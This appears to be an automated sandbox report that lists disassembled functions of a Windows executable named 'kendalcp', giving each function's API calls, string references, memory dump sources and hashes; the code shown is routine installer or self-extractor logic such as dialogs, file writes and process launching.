String ID: <s$ ?s$(>s$(@s$0As$4=s$8<s$<?s$@>s$@@s$D=s$DAs$DXGIDebug.dll$P<s$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T;s$T?s$X>s$X@s$\As$`=s$dwmapi.dll$kernel32$l<s$p>s$p?s$p@s$uxtheme.dll$x=s$|<s$>s$?s
API String ID: 1201351596-2419054744
Opcode ID: abb112787cd0e0226d3f9e6ef716b4a0a48363b14cb38645c601335ee1a51588
Instruction ID: e62a9fd5f68811fedd54922659b0dfa1168e5a7d678bbb1dc80a07390227bdcd
Opcode Fuzzy Hash: abb112787cd0e0226d3f9e6ef716b4a0a48363b14cb38645c601335ee1a51588
Instruction Fuzzy Hash: E6D184B1108384EBF3349F54D849BDFBAE9FB85705F40492DF58896181D7BC86888BA6

Function 0071BDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0071BDFA

Part of subcall function 0071AA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0071AAFE

SetWindowTextW.USER32(?,?), ref: 0071C127
_wcsrchr.LIBVCRUNTIME ref: 0071C2B1
GetDlgItem.USER32(?,00000066), ref: 0071C2EC
SetWindowTextW.USER32(00000000,?), ref: 0071C2FC
SendMessageW.USER32(00000000,00000143,00000000,0074A472), ref: 0071C30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0071C335

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0071C1D0
%s.%d.tmp, xrefs: 0071BFF6
<br>, xrefs: 0071C08A
ProgramFilesDir, xrefs: 0071C1FB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: ca2bb7831daff4ccfde4f59727acf2641e1be575a6fd6a03453916dacb717b29
Instruction ID: fcc79fb6e0ce03da6dcfafe85df3077b52b1d1b4386ad687cc2c3a4d03af4a5a
Opcode Fuzzy Hash: ca2bb7831daff4ccfde4f59727acf2641e1be575a6fd6a03453916dacb717b29
Instruction Fuzzy Hash: 5EE16372D44618EADB26DBE4DC49DEB77BCAF08711F0041A6F609E3091EB789AC48B50

Function 0070D341 Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0070D346
_wcschr.LIBVCRUNTIME ref: 0070D367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,0070D328,?), ref: 0070D382
__fprintf_l.LIBCMT ref: 0070D873

Part of subcall function 0071137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0070B652,00000000,?,?,?,0001046C), ref: 00711396

Strings

*messages***, xrefs: 0070D49A
$9s, xrefs: 0070D6AF
*messages***, xrefs: 0070D4D3
R, xrefs: 0070D4E5
RTL, xrefs: 0070D838
, xrefs: 0070D67A
a, xrefs: 0070D4EF
$%s:, xrefs: 0070D856
,, xrefs: 0070D8AE
@%s:, xrefs: 0070D85D, 0070D869

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$$9s$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-2428165759
Opcode ID: 8aed7ce3c96ab5b4b586d1baa7b9afb9fc49e46ec512549321954f1bd145bd9f
Instruction ID: 11ce45d8a6ce301cb550719542babf45aa32b3c2cec3cd30490541ca89cf5080
Opcode Fuzzy Hash: 8aed7ce3c96ab5b4b586d1baa7b9afb9fc49e46ec512549321954f1bd145bd9f
Instruction Fuzzy Hash: 9D128FB1900319DADB34DBA4DC85AEEB7F5EF04714F104669E505A72C2EB78AE44CB24

Function 0071CB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0071AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0071AC85
Part of subcall function 0071AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0071AC96
Part of subcall function 0071AC74: IsDialogMessageW.USER32(0001046C,?), ref: 0071ACAA
Part of subcall function 0071AC74: TranslateMessage.USER32(?), ref: 0071ACB8
Part of subcall function 0071AC74: DispatchMessageW.USER32(?), ref: 0071ACC2

GetDlgItem.USER32(00000068,0075ECB0), ref: 0071CB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,0071A632,00000001,?,?,0071AECB,00734F88,0075ECB0), ref: 0071CB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0071CBA1
SendMessageW.USER32(00000000,000000C2,00000000,007335B4), ref: 0071CBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0071CBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0071CBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0071CC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0071CC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0071CC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0071CC67
SendMessageW.USER32(00000000,000000C2,00000000,0073431C), ref: 0071CC76

Strings

\, xrefs: 0071CBCF

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 72fd8835ca4ac319719d60208bd2f4b2607888439b4cfd56fe8fd3659de7e7af
Instruction ID: be3726a2c19a37ef1e2986ff3e47d35e2e411d0e384146be2ff8dee8858ff18d
Opcode Fuzzy Hash: 72fd8835ca4ac319719d60208bd2f4b2607888439b4cfd56fe8fd3659de7e7af
Instruction Fuzzy Hash: 3D310171184B45ABE301DF249C8AFAF7FACEB42704F044509FA42961D2DBAC4905C7BA

Function 0071CE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 0071CF54
ShowWindow.USER32(?,00000000), ref: 0071CF93
GetExitCodeProcess.KERNEL32(?,?), ref: 0071CFCF
CloseHandle.KERNEL32(?), ref: 0071CFF5
ShowWindow.USER32(?,00000001), ref: 0071D084

Part of subcall function 007117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0070BB05,00000000,.exe,?,?,00000800,?,?,007185DF,?), ref: 007117C2

Strings

.exe, xrefs: 0071CFFF
, xrefs: 0071CEA2
.inf, xrefs: 0071CF10

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 11dff34e3e7a7b86662f8be64a4097204342e3a2353fd493cc57476ccf558f98
Instruction ID: 1f6c755bfde6d52995ab44ac567a0e4ff4c6f72ecd42aa2852868a71c8604c4d
Opcode Fuzzy Hash: 11dff34e3e7a7b86662f8be64a4097204342e3a2353fd493cc57476ccf558f98
Instruction Fuzzy Hash: 3661E171444380AAD7329FA8D8046EBBBE9AF85300F048819F5C5972D1D7BDDDCACB56

Function 0072A058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00724E35,00724E35,?,?,?,0072A2A9,00000001,00000001,3FE85006), ref: 0072A0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0072A2A9,00000001,00000001,3FE85006,?,?,?), ref: 0072A138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0072A232
__freea.LIBCMT ref: 0072A23F

Part of subcall function 00728518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0072C13D,00000000,?,007267E2,?,00000008,?,007289AD,?,?,?), ref: 0072854A

__freea.LIBCMT ref: 0072A248
__freea.LIBCMT ref: 0072A26D

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 24bc33a799fb35955a3cef98993a0ff9c95959f689d871bd18a9d95ba2cff355
Instruction ID: edddaebaf58967bcbd2822267e51bba6ee13ab9353db5a79302b9b44a898b08e
Opcode Fuzzy Hash: 24bc33a799fb35955a3cef98993a0ff9c95959f689d871bd18a9d95ba2cff355
Instruction Fuzzy Hash: 4451B372610226FFEB258E64EC45EBB77EAEB84760F154629FC04D6140EB3DDC50C6A2

Function 0071A335 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00710085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007100A0
Part of subcall function 00710085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0070EB86,Crypt32.dll,00000000,0070EC0A,?,?,0070EBEC,?,?,?), ref: 007100C2

OleInitialize.OLE32(00000000), ref: 0071A34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0071A385
SHGetMalloc.SHELL32(00748430), ref: 0071A38F

Strings

riched20.dll, xrefs: 0071A33D
3Ro, xrefs: 0071A366

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: 02acb04b2a9c8b727ba60f1898297e5b52f8c36a3cf0bc2f62e7f4f16c885192
Instruction ID: 63b3b8f36f19256d2993e5819fd9f13d0de0ddff9cb906a83044fd20f81cf3ed
Opcode Fuzzy Hash: 02acb04b2a9c8b727ba60f1898297e5b52f8c36a3cf0bc2f62e7f4f16c885192
Instruction Fuzzy Hash: BCF0F9B1D0020EABDB50AF99D8499EFFBFCEF95701F00415AE815E2241DBB856458BA1

Function 007099B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,007078AD,?,00000005,?,00000011), ref: 00709A4C
GetLastError.KERNEL32(?,?,007078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00709A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,007078AD,?,00000005,?), ref: 00709A8E
GetLastError.KERNEL32(?,?,007078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00709A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,007078AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00709ADB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: ec2cc7c1ab6c90849bc277229e7173f48608aa3407324d839e55fbeebdd6ce5d
Instruction ID: 00c6bae28cdce1ced4f2395627c989234fae0d6c8b167cfdb22f17d6f95db12e
Opcode Fuzzy Hash: ec2cc7c1ab6c90849bc277229e7173f48608aa3407324d839e55fbeebdd6ce5d
Instruction Fuzzy Hash: 87414870644745EFE3308B20CC09BDABBD4BB05324F104719F6E4961D2E77DA988CB95

Function 0071AC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0071AC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0071AC96
IsDialogMessageW.USER32(0001046C,?), ref: 0071ACAA
TranslateMessage.USER32(?), ref: 0071ACB8
DispatchMessageW.USER32(?), ref: 0071ACC2

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 9c5641a62de004cb780bc6923f60f7e78e7fdb740797c0a19073fd1fab683ab8
Instruction ID: 44af2b52f893b31a3c8f69d0cffa420efdf14a1c1e05dc8722366d8d76447f2f
Opcode Fuzzy Hash: 9c5641a62de004cb780bc6923f60f7e78e7fdb740797c0a19073fd1fab683ab8
Instruction Fuzzy Hash: AAF01D71902229BB8B609FE59C4CEEB7F6CEE052A17408415F906D2141EB6CD546C7F5

Function 0071A2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0071A2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 0071A315

Part of subcall function 007117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0070BB05,00000000,.exe,?,?,00000800,?,?,007185DF,?), ref: 007117C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0071A305

Strings

EDIT, xrefs: 0071A2E9, 0071A2F4, 0071A301

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: d25cc34a76286e4748ba87459b38b77f10b489564803d3377a9caefb187ce812
Instruction ID: 8dc79192ffc469958d733e636cb7ed8396dcc68b07013ee22913977049c01b0e
Opcode Fuzzy Hash: d25cc34a76286e4748ba87459b38b77f10b489564803d3377a9caefb187ce812
Instruction Fuzzy Hash: 81F02732A0272C77E7305A289C09FDB776C9F46B40F044062FE05E21C1D7A8AD82C6FA

Function 0070984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0070985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00709876
GetLastError.KERNEL32 ref: 007098A8
GetLastError.KERNEL32 ref: 007098C7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: f666719cfb5cbc8949d46f6ded88cd210e2b6c54f15c92de376e2d62f07cca55
Instruction ID: 35b6f151e3067da20e56e536cba369cc4c6996697af4220cf14b9a3e521959cc
Opcode Fuzzy Hash: f666719cfb5cbc8949d46f6ded88cd210e2b6c54f15c92de376e2d62f07cca55
Instruction Fuzzy Hash: 9E11AC30900214EBEB205B51C804A7977E9FB42731F10C32AFA2A857C2D73D9E409F52

Function 0072A4F4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00723713,00000000,00000000,?,0072A49B,00723713,00000000,00000000,00000000,?,0072A698,00000006,FlsSetValue), ref: 0072A526
GetLastError.KERNEL32(?,0072A49B,00723713,00000000,00000000,00000000,?,0072A698,00000006,FlsSetValue,00737348,00737350,00000000,00000364,?,00729077), ref: 0072A532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0072A49B,00723713,00000000,00000000,00000000,?,0072A698,00000006,FlsSetValue,00737348,00737350,00000000), ref: 0072A540

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: e7d105eacb7f76885981e7151afa7c2d719085667f45f9277dbcc6a4a0f86a5a
Instruction ID: 5521cfc29ab4fd290b47a584f0c04ec3307b1c9e368a1e9aac1da307b7b70a93
Opcode Fuzzy Hash: e7d105eacb7f76885981e7151afa7c2d719085667f45f9277dbcc6a4a0f86a5a
Instruction Fuzzy Hash: 9C017B32701236BBCB308B6ABC44A577B98EF01BA27208224F907D7140D73CD910CAE5

Function 0072B188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00728FA5: GetLastError.KERNEL32(?,00740EE8,00723E14,00740EE8,?,?,00723713,00000050,?,00740EE8,00000200), ref: 00728FA9
Part of subcall function 00728FA5: _free.LIBCMT ref: 00728FDC
Part of subcall function 00728FA5: SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 0072901D
Part of subcall function 00728FA5: _abort.LIBCMT ref: 00729023

Part of subcall function 0072B2AE: _abort.LIBCMT ref: 0072B2E0
Part of subcall function 0072B2AE: _free.LIBCMT ref: 0072B314

Part of subcall function 0072AF1B: GetOEMCP.KERNEL32(00000000,?,?,0072B1A5,?), ref: 0072AF46

_free.LIBCMT ref: 0072B200
_free.LIBCMT ref: 0072B236

Strings

s, xrefs: 0072B22A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: s
API String ID: 2991157371-3751460905
Opcode ID: 77094e3a8bd6c92e4947bdc1b065963f0e28579a14f8ca0f3df2c0127c9d2234
Instruction ID: 265fd4228e9321bab6c28dc315d4645664db1db7734e886078107b00112c75cc
Opcode Fuzzy Hash: 77094e3a8bd6c92e4947bdc1b065963f0e28579a14f8ca0f3df2c0127c9d2234
Instruction Fuzzy Hash: 5431F431900228EFDB10EFA9E845BADB7E1EF40320F254099E5149B291EB7AAD41CB51

Function 00709F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,0070CC94,00000001,?,?,?,00000000,00714ECD,?,?,?), ref: 00709F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00714ECD,?,?,?,?,?,00714972,?), ref: 00709F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,0070CC94,00000001,?,?), ref: 00709FB8

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: e17d7e9c665dc935740e0c05fbcf67d731d1eb524dd983ed5ae677e93d7122c5
Instruction ID: 3fefd5181f61d3d4a9109d2dd85def4d5cc4db8eb20054d9db504248d9c1b1d3
Opcode Fuzzy Hash: e17d7e9c665dc935740e0c05fbcf67d731d1eb524dd983ed5ae677e93d7122c5
Instruction Fuzzy Hash: E531E671608306EBDF248F14D94876ABBE8EB50711F048759FA459A1C2C77CE948CBA2

Function 0070A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A261
GetLastError.KERNEL32(?,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A27E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
